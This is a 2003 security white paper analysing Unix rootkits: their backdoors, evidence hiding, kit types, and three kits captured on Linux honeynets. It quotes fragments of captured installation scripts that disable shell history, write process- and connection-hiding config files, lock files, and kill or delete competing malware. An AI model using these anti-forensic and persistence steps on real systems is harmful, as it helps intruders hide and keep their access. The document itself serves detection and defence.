iALERT White Paper

An Overview of Unix Rootkits

By Anton Chuvakin
iDEFENSE Labs
di@idefense.com

February 2003

iDEFENSE Inc.
14151 Newbrook Drive
Suite 100
Chantilly, VA 20151
Main: 703-961-1070
Fax: 703-961-1071
http://www.idefense.com

TABLE OF CONTENTS

EXECUTIVE SUMMARY

Rootkits, as we know them now, came into being sometime in the mid 1990s. At that time, Sun operating system Unix system administrators started seeing strange server behavior, missing disk space, CPU cycles and network connections that strangely did not show up in command netstat.

The age of rootkits had begun. While rootkits were born in the mid-1990s, many tools (such as log file cleaners) that later become inherent parts of rootkits were known as long ago as 1989 and even earlier in the underground. Rootkits (further referenced as kits) are automated software packages to setup and maintain an environment on a compromised machine. In this white paper, we review the main areas of rootkit functionality.

By implementation technology, three main classes of rootkits are available today: binary kits, kernel kits and library kits. The first class achieves its goal by replacing certain system files with their Trojan counterparts. The second uses kernel components (also called modules) or Trojans, and the third employs system library Trojans. Rootkits found in the wild (such as captured on honeypots), often combine trojaned binaries with higher "security" provided by the kernel and library components.

Just as an overview, the timeline below shows a brief history of rootkits (note that all dates below are the dates when information became publicly available and software might have been available much earlier in the underground):

From log cleaners to live kernel patching:

- 1989: First log cleaners found on hacked systems
- 1994: Early SunOS kits detected
- 1996: First Linux rootkits publicly appear
- 1997: LKM Trojans proposed in "Phrack"
- 1998: Non-LKM kernel patching proposed by Silvio Cesare
- 1999: Adore LKM kit released by TESO
- 2000: T0rnkit v8 libproc library Trojan released
- 2001: KIS Trojan and SucKit released
- 2002: Sniffer backdoors start to show up in kits

ROOTKIT FUNCTIONALITY

Our research indicates that rootkit functionality can be categorized into following groups:

- Maintain access
- Attack other systems
- Destroy evidence

Let's analyze those areas in more detail.

Maintain Access

Maintaining access is typically associated with backdoors, both local and remote. First, consider remote backdoors, i.e., hidden remote access applications. The methods are listed below. The list follows the ascending level of stealth that each backdoor provides. Note that remote access methods that will only work in local LAN are not considered (no datalink-layer or second layer communication).

1. Telnet or shell on a TCP port: An attacker may simply connect to a system via telnet or old inetd-spawned shell backdoor (a shell bound to a high port on a system). This first option is not covert at all, allows for easy detection, and is only provided for reference. The high port shell will allow one to hide from only the most entry-level Unix administrators (not yet knowing the command netstat), as the connection will not leave a record in system logs unlike the stock telnet. The inetd.conf shell backdoor dates back to the 1980s and likely even earlier. It can be easily spotted by looking for extraneous entries in /etc/inetd.conf. Similar access can be realized by trojaning any of the listening daemons, such as telnet, sshd, ftpd, sendmail, named, httpd, tcpd, finger, inetd or many others available on Unix, making it provide a shell on a certain port upon request.[1]

2. Secure shell (SSH), regular or trojaned on high port: ssh remote login software is a backdoor tool of choice for many amateur attackers. Deploying a second ssh daemon running on a high port (such as 812 or 1056 TCP), on a compromised machine, is a modus operandi of many a script kiddy.[2] This provides several advantages over using telnet, as communication is encrypted and suspicious commands cannot be picked by the network IDS systems. Custom SSH daemons also will not leave evidence in log files upon connecting. Both SSH and telnet will show up in the netstat command, provided that it is not trojaned by the kit to miss the offending connections. This access technique becomes somewhat better under the cover of Trojan binaries or kernel rootkit that hides the connection from the admin. The listening TCP ports give it away if the server is port scanned from outside using tools such as nmap.

3. CGI shell: A rootkit may deploy a hostile CGI script in the web server

directory. It is often considered a backdoor of "last resort" in case a system administrator has found the kit and erased its main directory. The CGI script will execute the user-defined commands (with the privileges of the user "nobody" or "httpd") and show the output in browser. Local attacks will have to be used to get "root". This does not open any new ports, but just piggybacks on the existing web server connection.

4. UDP listener: UDP services are harder to port scan than TCP and are usually less likely to be sought and discovered. If a backdoor listens on the UDP port, it is less likely that running various system commands or port scanning will discover it. Communication protocols must be designed for such connections, as no standard remote access protocol occurs over UDP. Encrypting the communication will protect it from network IDS.

5. Reverse shell/telnet: A backdoor that opens a connection from a target to an attacker's machine is better than a regular connection (from attacker to a victim), as the target should not have any new open ports and can be firewalled (such as by personal firewall or host-based ACL protection) to prevent inbound connections. The hacker machine should be running something like "netcat" (nc) to listen for inbound connections. The connection can also be encrypted (e.g., by cryptcat or stunnel SSL wrapper), and thus shielded from network IDS. However, many people will find it at least unusual if their servers start to initiate connections to some outside machines. Moreover, some outbound connections can be safely blocked on the border firewall en-masse (e.g., block all outbound from all public DMZ servers), thus foiling the reverse shell.

6. ICMP "telnet": One can tunnel everything over everything else, or so they say, and the "ICMP telnet" (such as implemented by the classic Loki tool) is a prime example. ICMP control messages such as Echo Request and Echo Reply can be made to carry payloads such as command line sessions. Many types of ICMP messages are allowed through the firewall for network performance reasons. Such backdoors will not be seen in netstat and cannot be uncovered by port scanning the target machine. However, network IDS systems may pick up the unusual patterns in ICMP communication caused by the existing publicly available ICMP backdoors.

7. Reverse tunneled shell: This shell helps with blocked outbound connections. In most environments, web browsing (access to outside machines on port 80 TCP) is allowed and often unrestricted. Remote HTTP shell will imitate a connection from a browser (inside the protected perimeter) to the web server (outside). The connection itself will be fully compliant with HTTP protocol used for browsing and can even pass through HTTP proxies (such as Squid), authenticated proxies, and proxy firewalls (provided that access credentials are available). Software that can interpret the "HTTP-encoded" command session will act as the web server. Such a backdoor is extremely unlikely to be picked up by any network IDS. The backdoor engine can be activated by a "magic" packet or by a timer for higher

stealth. Similar to the previous case, this technique is not optimal for backdoor access to DMZ machines, where outbound connections can be prevented.

8. "Magic" packet-activated backdoor: This backdoor is a mix between reverse shells and regular direct connect backdoors. The backdoor opens a port, executes a single command, or initiates a session from the target only upon receiving a specific packet, such as TCP with a specific sequence number of other inconspicuous parameter set.

9. No-listener (sniffer-based) backdoor: This method of hidden communication provides a high degree of stealth and includes deception capabilities. In this case, the backdoor does not open a port but starts sniffing network traffic instead. Upon receiving a specific packet (not aimed at the machine with a backdoor installed but visible to it, i.e., located on the same local area network), it executes an action and sends a response. The response is also sent using a "spoofed" (i.e., faked) source IP address so that the communication cannot be traced back to a target. Limited tracing is possible by observing the layer two (i.e., MAC or network card hardware) addresses, but only by an observer in the same LAN as the victim. These backdoors are just starting to pop up in rootkits.

10. Covert channel backdoor: A full-blown covert channel (in the sense defined in the Department of Defense "rainbow series" of books) can be designed to be proved undetectable.[3] If one is to design its own signal system and then overlay it over the otherwise innocuous network protocol, it will probably never be detected by existing security software. The number of factors that can be varied and the number of arbitrary fields within current network and application layer protocols is too high to account. Just imagine: The TCP initial sequence number is not quite random but carries a pattern. What if the web server slightly changes the formatting of the web page to send a byte or two? Possibilities are endless, especially if a low-bandwidth channel will suffice. Surveyed rootkits did not utilize this technology.

Local access maintenance is assured by rootkits by providing trojaned tools that yield root access. Many standard Unix tools installed SUID root are repackaged by attackers to provide "root on demand." Ping, xterm and many of the network daemons might be used for that purpose. Some kernel rootkits simply give root to a specified user name, not listed as having UID 0 in /etc/password.

While rootkits always require root for installation and give its owner root access on demand, many of them implement an "offense in depth" by providing many different backdoors and Trojans to access the system and escalate privileges. In case the main backdoor, such as a trojaned SSH, is found and killed, several other tricks might allow an attacker to get back. Rootkits might create additional root and "non-root" accounts that can be used to get back to a system. Local privilege escalation is provided by modified SUID binaries. Trojaned /bin/login is another popular choice.

A copy of SUID root /bin/bash, stashed in an obscure location, will provide an easy backup way to get root (on a system with no periodic integrity checking and SUID searching). As discussed above, a kernel Trojan can be utilized to give root to specific users by remapping a setuid() kernel call. Even simpler, the system might be artificially "weakened" so that exploiting a local application becomes easier. A change in one configuration file can go a long way toward opening a hole for the intruder.

Securing the system against competing attackers can also be considered part of "maintaining access," as it prevents other unauthorized users from abusing the system. Several surveyed rootkits do a thorough job of closing holes, hardening and patching the system. Most rootkits also include the functionality to clean the system of previously installed kits and distributed DoS zombies.

Attack Other Systems

Attacks tools to attack other systems and expand the "captured territory" appeared in Linux rootkits toward the end of the 1990s. iDEFENSE classifies the attack tools included in rootkits into the following categories:

- Local attack tools
- Remote attack tools
- DoS tools

Local attacks are mostly conducted to recapture root taken by the vigilant system administrators and to obtain access to machines on the same LAN.

Most rootkits contain a basic password sniffer (such as linsniff for Linux) that will wreak havoc on a network where clear text protocols are in use. Examples of such protocols include POP3, IMAP, telnet, ftp and many others. All the authentication credentials (usernames and passwords) from those sessions will be captured and potentially abused by the intruder. Additionally, attackers might be able to read e-mails sent via simple mail transport protocol (SMTP), as it is also a plaintext protocol.

Sniffer software works by placing a machine's network interface in promiscuous mode so that all packets passing through the wire are seen by the system and analyzed by the sniffer software for the presence of password authentication, such as strings "login:," "password:" (to catch leading capital P as well as small p), etc. The network interface configuration change also provides a way to detect sniffers locally by the promiscuous flag on the interface (in Linux, shown by the command /sbin/ifconfig). Consequently, rootkits often Trojan the command ifconfig to hide the flag.

The kit usually also contains a tool to parse the sniffer output looking for password/username pairs. A tool may be able to e-mail the captured data, despite the discovery of a sniffer. Part of the captured data will be safely in the hands of attackers. More sophisticated sniffers (such as dsniff by Dug Song, capable of sniffing on switched LANs) are available but are not seen as part of rootkits.

An unusual local attack tool, called a "SSH syscall sniffer," was found in one of the rootkits captured on the honeynet. It allows the attacker to eavesdrop on local users connecting to remote SSH servers and on remote users connecting to a local SSH server. The software worked by intercepting system calls, such as read() and write(), that contain usernames and passwords for establishing the SSH sessions.

Local attack tools also cover various password-cracking utilities, handy for tightening the hold on the system by taking over more and more accounts of legitimate users. Remote attack tools include various scanners and autorooters.[4] One of the commonly used autorooters (that makes a lot of noise at most network perimeters at the time of this report) is AWU, the WU-FTPD mass exploitation tool. The logic of the software is very simple: Get a class of IP addresses (such as a B-class), scan it for the presence of listening FTP daemons, then run the banner grab within the results of the first run to identify vulnerable WU-FTPD installs.[5] On the third run, exploit the machines and report on success.

DoS tools are in a special category. Most rootkits captured on our honeynet contained at least one or more flood tools, ranging from a dated but still lethal synk TCP SYN packet flooder to a modern multi-mode spoofed flooders that can use older TCP SYN, ICMP, UDP, TCP ACK floods and modern reflexive DoS attacks, such as spoofed domain name system (DNS) response floods. Attackers use the tools without any second thoughts on their enemies and during Internet relay chat channel takeovers ("IRC wars").

Concealing Evidence

The third crucial element of rootkit functionality is evidence elimination. Such activity consists of removing the evidence of pre-attack activity and preventing the generation of new evidence.

Removing existing evidence boils down to sanitizing various log files, audit records (such as BSDstyle process accounting), application logs and shell histories. A plethora of well publicized tools exit for this purpose. Most commonly used methods include file removal (with standard Unix tools) and editing. None of the surveyed rootkits used any reliable or secure data removal tools.

Killing off and/or modifying the syslog daemon most commonly accomplish prevention of an audit. Most rootkit installation scripts perform that action automatically and some also notify the user of the found traces of remote logging (@loghost-type entries in /etc/syslog.conf). Other operations include preventing the creation of shell history files that record all the interactive session commands for remote and local users.

Hiding the evidence of breaking is the area where kernel-level or Loadable Kernel Module (LKM) kits excel. Unlike regular binary kits that replace system executable files, LKM kits (publicly available for Linux, Free/OpenBSD and Solaris) hook into the system kernel and replace (remap) or modify (intercept) some of the kernel calls used to interface between user-space components, such as file system tools, and core kernel components. In this case, the very core of the operating system becomes untrusted. Consequently, all

system components that use the corrupted kernel call can and will lie to the user and whatever security software installed. A rootkit will typically have a special configuration file or have the hardcoded filenames to be hidden.

In most cases, the rootkit will hide:

- Its own files
- Other attackers files (identified by name or location)
- Attacker's processes (such as sniffers, backdoor daemons and password crackers)
- Specific network connection to and from the compromised machine identified by address or protocol (such as, hide all IRC)

TYPES OF ROOTKITS

Three main classes of rootkits are available today: binary kits, kernel kits and library kits. Note, however, rootkits found in the wild often combine trojaned binaries with higher "security" provided by the kernel and library components.

Binary Rootkits

The first rootkits seen in the wild used to replace critical system binaries, such as /bin/login and network daemons. Attackers used these rootkits to accomplish several goals, such as remote access, local access and evidence hiding. The first rootkits were simply tar archives of several popular system binaries (that are likely to be run by system admin of the compromised machines to check on system health) and several other support applications, such as log cleaners.[6]

The executable files were trojaned to perform an action conducive for an attacker, such as hide malicious processes. The tar archive also contained an installation script to copy the binaries in the right places (usually over the existing system files) and perform other actions, such as closing the hole used to attack the system. Such actions are described in detail further below. The binary files were usually precompiled for a particular architecture (such as Linux on i386 Intel or Sparc Solaris), leaving it up to the user to find and utilize the correct kit for each compromised system.

Let us briefly analyze how those binary kits accomplish the tasks of hiding and access. An attacker deploys a kit after breaking-in via an included installation script. The script places the binaries over the original versions and (sometimes) saves the old copies. Here is a (somewhat) complete list of binaries that are often replaced (based on the list from website at chkrootkit.org):

- amd
- asp
- basename
- biff
- chfn
- chsh
- cron
- date
- dirname
- du
- echo
- egrep
- env
- find
- fingerd
- ftpd
- fusers
- gpm
- grep
- hdparm
- identd
- ifconfig
- inetd
- killall
- login
- ls
- lsof
- mail
- mingetty
- named
- netstat
- ntpd
- passwd
- pidof
- pop2d
- pop3d
- ps
- pstree
- rexed
- rlogind
- rpcinfo
- rshd
- sendmail
- slogin
- sshd

- su
- syslogd
- tar
- tcpd
- telnetd
- timed
- top
- traceroute
- w
- write
- wted
- xinetd
- z2

The above trojaned binaries are used for the following areas of rootkit functionality:

> • Provide remote access. The binary /bin/login or trojaned network daemons (identd, rlogind, rshd, sendmail, sshd, telnetd and many others) may contain a magic password (such as in the form of $DISPLAY or $TERM environment variable commonly passed by the client to the server) that will provide a privileged access to an attacker. Trojaning the network access control application tcpd (part of TCP Wrappers package) will make it "overlook" certain connection attempts or even make them launch a root shell for a connection from a specific IP address.
>
> • Provide local access. A kit may modify the binary /bin/login or many of the normally SUID binaries (/bin/ping, /usr/sbin/traceroute, /bin/su and great many others) to provide "root" privileges to specified users or to those possessing a "magic" password or command-line switch. An attacker may use a modified cron daemon to execute processes as desired.
>
> • Provide process hiding. The trojaned binary /bin/ps will hide processes from casual viewing by the system admin. A modified syslogd daemon will hide the processes from ever logging any messages to system logs and remote log servers.
>
> • Provide connection hiding. The binary /bin/netstat (a standard Unix command to view network connections) Trojan will "help" in this regard.
>
> • Provide file hiding. A kit may trojan a plethora of file-browsing tools, such as ls, dir and even cat, to hide certain file from detection. Some rootkits contain the global configuration file that lists what connections, files and processes should be hidden using the regular expressions (i.e., patterns) syntax.
>
> • Provide user activity hiding. If a system admin logs in to a compromised system, the like of w, who and finger trojaned binaries will make sure that attacker's user entry is not displayed.

Other binary Trojans will hide evidence of running network sniffers (via ifconfig command Trojan).

When the kit is installed, its own tools deploy in some hidden directory. Hidden here refers to "not commonly looked at by administrators" and not to any special hidden properties. Integrity checking tools could easily find the directory, provided the tools were installed before the break-in. Note that the system command ls will likely be trojaned to not show this directory by the attacker, just for the sake of "safety."

Here are some of the common locations to install rootkit files:

- /dev/.hdd
- /dev/.lib
- /etc/".. "
- /etc/...
- /etc/rc.d/arch/alpha/lib/.lib
- /etc/rc.d/rsha
- /usr/info/.t0rn
- /usr/lib/.egcs
- /usr/src/.poop
- /usr/src/.puta
- /usr/src/linux/arch/alpha/lib/.lib/.1proc

The third entry refers to a dot-dot-space directory name, a classic choice to deploy rootkit files.

Some invisible special characters are also often used in directory names to make their discovery and deletion harder. When installing the Trojans, rootkit installation scripts often contain additional tools to adjust the timestamp and sizes of the Trojans to match the original binaries. Even a simple touch command can be used to get the timestamp from one file and assign it to another (touch -r oldfile trojanfile).

Kernel Rootkits

Kernel-level rootkits first came into being as malicious kernel modules. It is unknown when the first Loadable Kernel Module (LKM) kit was coded in the underground, but it clearly happened much earlier than was made public in a BugTraq post by Runar Jensen in October 1997 (heroin.c LKM Trojan for Linux). Unlike regular kits that replace system files, LKM kits (now publicly available for Linux, Free/OpenBSD and Solaris) hook into the system kernel and modify some of the system calls. Most Unix operating systems separate between the kernel-mode and user-mode. For example, the applications run in user-mode while most hardware device interaction happens in kernel-mode.

If an application needs an access to a certain hardware piece, it requests the access via a system call. For example, to read a file, a read() system call is used. The application executes a system call and a kernel provides an access to a file on a disk. Each operating system has a slightly different list of system calls, often found in /usr/include/sys/syscall.h or /usr/include/syscall.h. The code for the calls is part of the kernel. The loadable kernel module, which runs in kernel-mode, has a capability to modify this code and thus to change the functionality of the call. For example, the open() call that used to mean "get to disk and open a file from this location" might become a command to get a disk and open the file from this location unless its name is "rootkit." The same trick can be played with many system calls, leading to a compromised system.

The very core of the operating system then becomes untrusted. Consequently, all system

components that use the corrupted kernel call can and will lie to the user and whatever security software installed. Commands such as ls execute a system call to read directory entries and provide them for a user. The command will report any incorrect information simply because it will be given the incorrect data by the kernel.

More details on the implementation of malicious LKM rootkits are available at http://rr.sans.org/threats/rootkits.php and http://rr.sans.org/linux/kernel_mods.php. LKM kits take the art of hiding on the next level. At the very least, they include file, process, connection and other kernel module hiding capabilities. More advanced malicious LKMs attempt to combat detection attempts by the known anti-LKM-rootkit tools and provide the users with additional functionalities, such as root on demand or in-kernel network backdoors.

Administrators may defeat most LKM kits by simply disabling the loading of modules within the Unix/Linux kernel. This is usually a compile-time option for open-source Unix variants. Sun Microsystems Inc.'s Solaris operating systems allow it as well. Recently, it was discovered (in the seminal paper of Silvio Cesare titled Runtime Kernel Patching) that loadable modules are not required for intruding upon the Unix kernel. Instead, one can directly modify the memory image (usually in /dev/mem) to affect the system call table or other parts of the running kernel.

Several kits have since turned this research advance into production code. SucKit is a user-friendly package that installs in the kernel and allows covert remote login, without a need to insert any modules and with no usermod components. The technique, invented by Silvio Cesare, works for both 2.2 and 2.4 kernels.

Library Kits

Library Trojan kits, of which T0rn 8 is the most famous representative, use somewhat different methods to elude detection. For example, t0rn kit uses a special system library (called libproc.a) that replaces a standard system library used for relaying the process information from the kernelspace (via /proc file system) to user space utilities such as /bin/ps and top. Having the trojaned library allows one not to modify the binaries themselves as they will use the data "sanitized" by the libproc.a Trojan. For example, such a library can filter certain process names from being seen. Looking directly at /proc will reveal the ruse.

It is also reasonably straightforward to modify the glibc/libc main system library to switch the data before it is sent to a kernel, thus duplicating the functionality of an LKM rootkit without going into the kernel space. This action can be called a user-space equivalent of kernel module-based redirection. An application linked with the library, such as most default applications on a Linux system, will report false data. However, statically linked applications will avoid this ruse.

Rootkits are rumored to use this technology for process and file hiding.

Another sophisticated rootkit was found to use a different trick involving system

libraries. The kit added an entry to /etc/ld.so.preload and provided its own library that redirects some of the standard library calls. Its position in /etc/ld.so.preload assures that it will load before other system libraries, thus making sure that its "custom" calls will execute in place of regular ones.

Unix tools such as ltrace, strace and truss can be used to trace library calls and system/kernel calls.

Usage

Here is how attackers use the rootkits on the compromised systems. After gaining access, the attacker will download the kit from his site or a "dead drop" box, unpack it and run the installation script.

Here is the typical rootkit usage strategy as used by attackers in a honeynet:

1. Find the vulnerable host, usually via an automated scanner, autorooter or a prebuilt database of vulnerable hosts.[7]
2. Exploit the host.
3. Download a rootkit. Sometimes this step is performed immediately after exploitation by the same tool. In this case, the attacker might leave the autorooter running overnight and will have a list of compromised and backdoored machines in the morning.
4. Deploy the kit via an installation script. Note that the installation shell script performs many actions.

Let us quickly look though the typical rootkit installation script, such as the one featured in an analysis paper at http://www.linuxsecurity.com/feature_stories/ftp-analysis-part1.html.

1. Disable the shell history (via unset HISTFILE; export HISTFILE=/dev/null).
2. Setup the directory structure for rootkit (e.g., /usr/info/.1).
3. Unpack the components.
4. Kill the syslog daemon and freeze the system logs (via chattr +i).
5. Deploy and start the backdoor sshd daemon under the innocuous-sounding name. The daemon uses port 1100 TCP.
6. Unpack, built and deploy the LKM to make sure it runs on every system boot (adore-0.42). LKM hides the kit directories, the running sshd process and Internet relay chat connections
7. Modify system startup file to launch the sshd and a sniffer on system boot.
8. Deploy some additional tools (DoS attack tools).
9. Unlock the log files locked by chattr above.
10. Remove the evidence such as rootkit package and other files.

After deploying the kit, the attacker is able to connect to his backdoor on TCP port 1100 and use the system without being seen.

Future Trends

Lets cast a cursory look at future trends that are emerging in the rootkit technologies. Here is a list of some trends noticed in our research.

• Better HIDS protection. Research exists on circumventing checksum verification, but few rootkits implement any effective anti-HIDS tricks. As more people deploy host-protection measures (Tripwire is now included by default in several Linux distributions), more rootkits will automatically attempt to avoid or fight HIDS. Note simple integrity checkers will not detect most LKM kits (such as adore or knark), but more advanced solutions (such as Tripwire) will catch them.

• Custom kernel hiding and non-LKM kernel attack. While SucKit has been spotted in several Linux attacks, more kits that use the runtime kernel patching are certain to surface, especially for custom intrusion.

• Better LKMs hide from detection . An "armor/projectile battle" rages between the malicious LKM developers. As more tools to discover them are written, more kits will include the technology to avoid the defensive measure. The KIS kit, for example, attempts to evade the StMichael LKM detection module.

• Covert channeling and passive backdoors. Passive backdoors are likely to become more common in rootkits due to their excellent stealth properties. Some attacks captured by the honeynet projects used spoofing for bidirectional communication. Moreover, distributed DoS components also talk using spoofed IP packets.

• More application-level backdoors. As more emphasis is placed on application security, more rootkits will likely use hiding within applications to accomplish their goals.

Malicious CGI scripts are deployed by rootkits even now, thus more application-level backdoors are sure to follow.

CASE STUDIES: CAPTURED ROOTKITS

iDEFENSE will now analyze three rootkits captured on compromised Linux machines. One is a pure binary kit, which only replaces executable files; one is a remote child of the t0rn v.8 kit, and thus uses a malicious library to hide processes; and the third is an Adore-based Loadable Kernel Module (LKM) kit, albeit translated in Romanian.

Sa: First Generation Binary Kit

On Sunday, May 5, 2002, the honeypot running at RedHat Linux 7.1 was hit by the WU-FTPD exploit, which yields remote root access (See CERT Advisory CA-2001-33, Multiple Vulnerabilities in WU-FTPD at http://www.cert.org/advisories/CA-2001-33.html). The attacker has downloaded and deployed the binary-only rootkit from his personal website.

The kit appears an early kit, slightly modified for modern Linux distributions. Here is the file composition for the kit:

-rwxr-xr-x	1	anton	anton	4620	Aug 8 2000	becys.cgi
-rwxr-xr-x	1	anton	anton	76	Nov 11 2000	hdparm
-rwxr-xr-x	1	anton	anton	19840	Sep 25 1983	ifconfig
-rwx------	1	anton	anton	1954	Feb 10 2002	install
-rwx------	1	anton	anton	7165	Sep 25 1983	linsniffer
-rwx------	1	anton	anton	75	Sep 25 1983	logclear
-rwxr-xr-x	1	anton	anton	35300	Sep 25 1983	netstat
-rwxr-xr-x	1	anton	anton	33280	Sep 25 1983	ps
-rw-r--r--	1	anton	anton	704	Feb 5 2002	s
-rwxr-xr-x	1	anton	anton	4060	Sep 25 1983	sense
-rwx------	1	anton	anton	8268	Sep 25 1983	sl2
-rwxr-xr-x	1	anton	anton	686535	Dec 2 2000	sshdu
-rw-------	1	anton	anton	541	Sep 25 1983	ssh_host_key
-rw-------	1	anton	anton	512	Sep 25 1983	ssh_random_seed
-rw-------	1	anton	anton	0	Dec 16 15:16	tcp.log
-rwxr-xr-x	1	anton	anton	53588	Sep 25 1983	top

Let us examine how the rootkit components are installed on the victim machine. This examination also provides a practical example of rootkit functionality and technologies. During the kit installation, the installation script performs the following steps (see install file above). The script runs after the rootkit is copied and unpacked:

1. The installation begins with the standard steps to prevent the audit trail formation. This kit does not use any sophisticated steps to hide its presence or the installation. It only ensures that the shell history of the current session is not produced (via the command unset HISTFILE).

2. Second, the kit erases the original binary files and deploys the Trojans (to the files at /sbin/ifconfig, /bin/netstat, /bin/ps and /usr/bin/top). These applications allow the attacker to hide its processes, network connections and the promiscuous flag on the network interface (due to running the sniffer) from the casual snooping by the system administrator.

3. The rootkit installation script then builds a configuration file used by the above Trojans to hide themselves and other hacker applications. The kit creates the file in the directory /dev/dsx via the following:

```
echo "3 sl2" >>/dev/dsx
echo "3 sshdu" >>/dev/dsx
echo "3 linsniffer" >>/dev/dsx
echo "3 smurf" >>/dev/dsx
echo "3 slice" >>/dev/dsx
echo "3 mech" >>/dev/dsx
...
```

4. The rootkit builds another configuration file to hide network connections. The kit lists his favorite IP address classes and ports. Notice Internet relay chat port 6667 listed.

```
echo "1 193.231.139" >>/dev/caca
echo "1 213.154.137" >>/dev/caca
echo "1 193.254.34" >>/dev/caca
echo "3 6667" >>/dev/caca
echo "3 3666" >>/dev/caca
echo "3 31221" >>/dev/caca
...
```

5. The install script creates a home directory for other kit components. This kit makes its home in the directory /dev/ida/.inet (again, one more of those supposedly innocuous locations, where amateur administrators never look). The script copies most of the above files into a new home and then creates an empty sniffer log (in the location /dev/ida/.inet/tcp.log)

6. As a next step, the kit uses a curious method to start its own components in the form of a secure shell (SSH) daemon and sniffer on system boot. It creates a fake copy of the rarely used system application hdparm, which is used to tune the hard drive performance. The fake copy is actually a shell script that launches the sniffer and the backdoor ssh daemon. Complete with fake but realistic parameters, such as /usr/bin/hdparm -t1 -X53 -p, the string is copied into the system startup file /etc/rc.d/rc.sysinit to run on every boot. For good measure, the hdparm file is made readable only by root and immutable, via Linux capabilities mechanism chattr +I, so that even root cannot erase it, unless the attribute is set back to -i.

7. The kit deploys a backup backdoor, an evil CGI script named becys.cgi. The installation script searches for a system default CGI directory, located at /home/httpd/cgi-bin, /usr/local/apache/cgi-bin or elsewhere, and copies the script becys.cgi to that location. The CGI backdoor provides shell access over the web as the user apache. The attacker could easily execute commands like cat /etc/password via such a backdoor. The CGI is a binary application written in C and not the usual Perl CGI.

8. As a next-to-last step, the script composes an e-mail to its owner, apparently for keeping score on the hacked systems. The e-mail contains the system's IP address, hostname and uname system information. The command uname -a typically returns something like "Linux anton 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux." The e-mail proclaims in Romanian, "Another victim of hackers!"

9. The kit then erases the directory where it was unpacked and the tar archive package.

An analysis of binary files within the kit shows that the binaries are hardcoded to use hidden files. For example, the string /dev/dsx is present in the Trojan version of the /bin/ps. This confirms that the Trojan refers to this file to look up the process names to hide. One of the captured files is a sniffer, complete with log parser. A simple plaintext log cleaner is also included (logclear in the above file list) as well an old DoS tool (slice, named sl2).

Overall, the kit is a primitive first-generation binary-only kit with no log cleaning tools and no advanced features. All included technology is publicly available from various security or hacking websites.

W00tkit: One of the Many Children of t0rn

W00tkit was captured on a Linux honeynet in summer 2002. A fully automated autorooter tool, which deployed the kit after the exploit succeeded, performed the attack. The tool owner accessed the victim within several days from the compromise.

The kit appears to be one of the many derivatives from the t0rn v.8 kit, due to the use of hiding the library libproc.so.2.0.6. However, in this case, the malicious LKM Adore also supports the library.

The components of the kit are listed below:

- chattr
- check
- cl
- clean
- curatare
- dir
- du
- encrypt
- exit
- exit2
- fix
- ifconfig
- init
- initd
- install
- install1
- killall

- lg
- libproc.so.2.0.6
- login
- ls
- lsof
- mailme
- mailme1
- md5sum
- move
- netstat
- patch
- ps
- pstree
- read
- remove
- sc
- scan/
- sl2
- ssh_host_key
- ssh_host_key.pub
- ssh_random_seed
- sshd_config
- startfile
- statdx
- top
- v
- vdir
- write
- wroot
- wscan
- wted
- wu

The installation process of the kit actually performs the following steps:

1. The first step is predictable. The script disables the shell history (unset HISTFILE; unset HISTSAVE).

2. Next, the install script launches another script called remove from the same package. The script first collects the MD5 checksums of the original system binaries to be trojaned and encrypts the resulting file with the rootkit default password, also erasing the plaintext file immediately after the encryption.

3. Next the script places the Trojans of the above system binaries, and a library, and makes them non-removable (using chattr +saui). The applications chattr, md5sum, netstat, ps, top, ifconfig, pstree, dir, vdir, killall, du and ls are replaced by trojaned versions. This kit is much more thorough than the previous one in trojaning the system.

4. As a next step, the script performs some simple system hardening, namely by stopping and then removing the service portmap, a common subject of old Linux exploits.

5. The rootkit looks for two configuration files, used by other rootkits (in fact, used by the rootkit described above) and eliminates them with the command rm -f /dev/caca. Several files are thus removed:

/dev/caca
/dev/pisu
/dev/dsx

6. Next, the rootkit deploys its own configuration files to control the hiding modules as the files /usr/include/proc.h, /usr/include/file.h and /usr/include/hosts.h. The real content of those C-language header files becomes something like:

1 xlogic.ca
1 limp-bizkit.ro
2 193.231
2 217.156
2 217.10

2 213.233
2 microrom.ro
3 25330
3 1981
4 25330
4 6667
4 6666
2 awu
2 7350wurm
2 startwu
2 screen
2 SCREEN
2 psy
3 xl
2 xbnc
2 initd
2 scan

After deployment, the kit makes the files immutable. The interesting consequence of such configuration files is that those strings are more innocuous when found within the binary files (for example, /dev/dsx, which looks suspicious within the /bin/ls binary)

7. Next, the script deploys the main backdoor (as usual, the modified SSH daemon) as /sbin/initd. Before deployment, it checks for the presence of such a file and removes it.

8. This completes the first subscript. Control is returned to the main script only to be given to another component: move. This subscript looks for and cleans up other common rootkit locations, such as /usr/bin/etc, /usr/man/man1/, /.dir/, /dev/, /bin/vobiscum, /usr/sbin/sshd3, /lib/.so, /lib/.sso /usr/include/, /dev/kdx, and many others. In addition, it tries to sweep for other running Trojans and execute a kill command on them. Here is an example:

kill -9 `/sbin/pidof /usr/bin/ras2xm`
kill -9 `/sbin/pidof snif`

The script also searches some of the configuration files for some known other rootkits components and attempts to clean them out as well. For example, it scans /etc/rc.d/rc.sysinit for the presence of /usr/bin/sourcemask, an apparently innocuous name suitable for a Trojan. The kit does a nice job of eliminating the competing malware on the captured system.

The script also performs other cleanup actions, such as killing squid proxy, which is often abused for semi-anonymous access to web and FTP resources. In fact, the clean up is done on a per-competing rootkit basis. For example, if /usr/X11R6/include/X11/... is present, then the kit performs steps like the following:

```
kill -9 `/sbin/pidof /usr/sbin/sshd2
rm -rf /usr/sbin/sshd2
rm -rf /usr/sbin/userdel system
```

For other cases, the kit kills other daemons and removes other files.

9. The final step of the move script is to disable anonymous FTP access:

```
echo anonymous >> /etc/ftpusers
echo ftp >> /etc/ftpusers
```

It then turns off history and removes the SUID root flag from certain software (mostly RPC-related). This makes the system harder to exploit from the network.

10. The script then returns to the main script and deploys a login backdoor, activated by the magic TERM variable value. Telnet and SSH clients often set the value when connecting to a system. If the TERM is set to a predefined value known to a hacker, the application /bin/login does not perform any authentication.

11. After this, the script creates its own home directory at /usr/bin/.zeen/".. "/ and deploys its components in it. Those include log-cleaning and hiding tools, several attack scanners, many scripts for specific attacks (mostly more than one year old), and a nice set of DoS tools. Note that the scripts contain comments in at least three different languages.

12. Then the script unpacks, compiles and deploys the Adore LKM, which is used as an additional layer for hiding the components. The Adore LKM is renamed and inserted into a kernel where it self-hides.

13. Another subcomponent then launches and modifies the system configuration files to execute various components on system start-up, from inittab, etc. The penetration is rather complete within the whole /etc directory tree. Again, offense-in-depth is practiced; several components do the job for every desired function.

